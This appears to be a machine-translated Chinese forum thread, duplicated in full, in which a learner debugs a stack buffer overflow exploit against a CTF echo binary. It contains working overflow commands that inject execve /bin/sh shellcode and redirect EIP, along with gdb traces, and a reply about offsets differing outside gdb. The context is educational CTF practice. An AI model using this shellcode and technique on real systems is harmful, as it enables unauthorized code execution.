C 简单缓冲区溢出
C Simple Buffer Overflow
我正在尝试了解缓冲区溢出是如何工作的以及如何使用它。
我正在通过尝试利用提供的二进制文件来解决一个简单的挑战(backdoorlabs echo challenge)。
(参见:http://hack.bckdr.in/ECHO/echo)
我认为我做的一切都是正确的(根据我一直在阅读的指南和教程),但它仍然无法正常工作,现在已经让我发疯了几个小时。
缓冲区溢出让我改写了下一条指令 (eip)。
(gdb) run <<< $(python -c 'print "A"*62+"BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"BBBB"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
所以我可以覆盖下一个 eip,现在让我们添加一些 21 字节的 shell 代码生成一个 shell 并尝试找到它所在的地址。
(gdb) run <<< $(python -c 'print "A"*62+"BBBB"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"BBBB"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒▒▒Qh//shh/bin▒▒
̀
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/100x $sp
0xbffff750: 0xe1f7c931 0x2f2f6851 0x2f686873 0x896e6962
0xbffff760: 0xcd0bb0e3 0xbfff0080 0xbffff80c 0xb7fff3d0
0xbffff770: 0x08048480 0xffffffff 0x0012efc4 0x080482d8
0xbffff780: 0x00000001 0xbffff7c0 0x0011eb25 0x0012fab0
Bingo shell代码就在此处加载到 0xbffff750,这就是我们要将 eip 地址定位到的地址..
到目前为止,我认为一切正常,所以我尝试找到正确的值。
(gdb) run <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒1▒▒▒Qh//shh/bin▒▒
̀
Program received signal SIGSEGV, Segmentation fault.
0xbffff750 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.192.el6.i686
(gdb)
(gdb) x/i $eip
=> 0xbffff750: xor %ecx,%ecx
(gdb)
eip 已更改为正确的地址并且 shell 代码已到位但是当我在我的 shell 中尝试它时它不起作用并且仍然出现段错误,如您所见。
[rick@TESTBOX tmp]$ ./vul <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒1▒▒▒Qh//shh/bin▒▒
̀
Segmentation fault
[rick@TESTBOX tmp]$
这里有人对此有一些想法,看到错误或有任何其他想法吗?
如前所述,我是一个试图理解基本原理的新手,显然我做错了什么。
我认为你的问题是:
there is a difference between the real execution of a program and the gdb-controlled one.
你需要
- 预测这个差异。 this question 给出了一个如何做的例子。
或
- 几个月前我也遇到过你的问题。那时,我观察到了这种差异。但是我没有使用这种方法来找出差异,而是使用了The Art of Exploitation 0x331中示例的蛮力方法:使用shell脚本尝试不同的偏移量。
This question以后可能对你有帮助,告诉你如何关闭一些安全功能,让你进行攻击。
我正在尝试了解缓冲区溢出是如何工作的以及如何使用它。 我正在通过尝试利用提供的二进制文件来解决一个简单的挑战(backdoorlabs echo challenge)。
(参见:http://hack.bckdr.in/ECHO/echo)
我认为我做的一切都是正确的(根据我一直在阅读的指南和教程),但它仍然无法正常工作,现在已经让我发疯了几个小时。
缓冲区溢出让我改写了下一条指令 (eip)。
(gdb) run <<< $(python -c 'print "A"*62+"BBBB"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"BBBB"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
所以我可以覆盖下一个 eip,现在让我们添加一些 21 字节的 shell 代码生成一个 shell 并尝试找到它所在的地址。
(gdb) run <<< $(python -c 'print "A"*62+"BBBB"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"BBBB"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB1▒▒▒Qh//shh/bin▒▒
̀
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/100x $sp
0xbffff750: 0xe1f7c931 0x2f2f6851 0x2f686873 0x896e6962
0xbffff760: 0xcd0bb0e3 0xbfff0080 0xbffff80c 0xb7fff3d0
0xbffff770: 0x08048480 0xffffffff 0x0012efc4 0x080482d8
0xbffff780: 0x00000001 0xbffff7c0 0x0011eb25 0x0012fab0
Bingo shell代码就在此处加载到 0xbffff750,这就是我们要将 eip 地址定位到的地址..
到目前为止,我认为一切正常,所以我尝试找到正确的值。
(gdb) run <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
Starting program: /tmp/vul <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒1▒▒▒Qh//shh/bin▒▒
̀
Program received signal SIGSEGV, Segmentation fault.
0xbffff750 in ?? ()
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.192.el6.i686
(gdb)
(gdb) x/i $eip
=> 0xbffff750: xor %ecx,%ecx
(gdb)
eip 已更改为正确的地址并且 shell 代码已到位但是当我在我的 shell 中尝试它时它不起作用并且仍然出现段错误,如您所见。
[rick@TESTBOX tmp]$ ./vul <<< $(python -c 'print "A"*62+"\x50\xf7\xff\xbf"+"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"')
ECHO: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP▒▒▒1▒▒▒Qh//shh/bin▒▒
̀
Segmentation fault
[rick@TESTBOX tmp]$
这里有人对此有一些想法,看到错误或有任何其他想法吗? 如前所述,我是一个试图理解基本原理的新手,显然我做错了什么。
我认为你的问题是:
there is a difference between the real execution of a program and the gdb-controlled one.
你需要
- 预测这个差异。 this question 给出了一个如何做的例子。
或
- 几个月前我也遇到过你的问题。那时,我观察到了这种差异。但是我没有使用这种方法来找出差异,而是使用了The Art of Exploitation 0x331中示例的蛮力方法:使用shell脚本尝试不同的偏移量。
This question以后可能对你有帮助,告诉你如何关闭一些安全功能,让你进行攻击。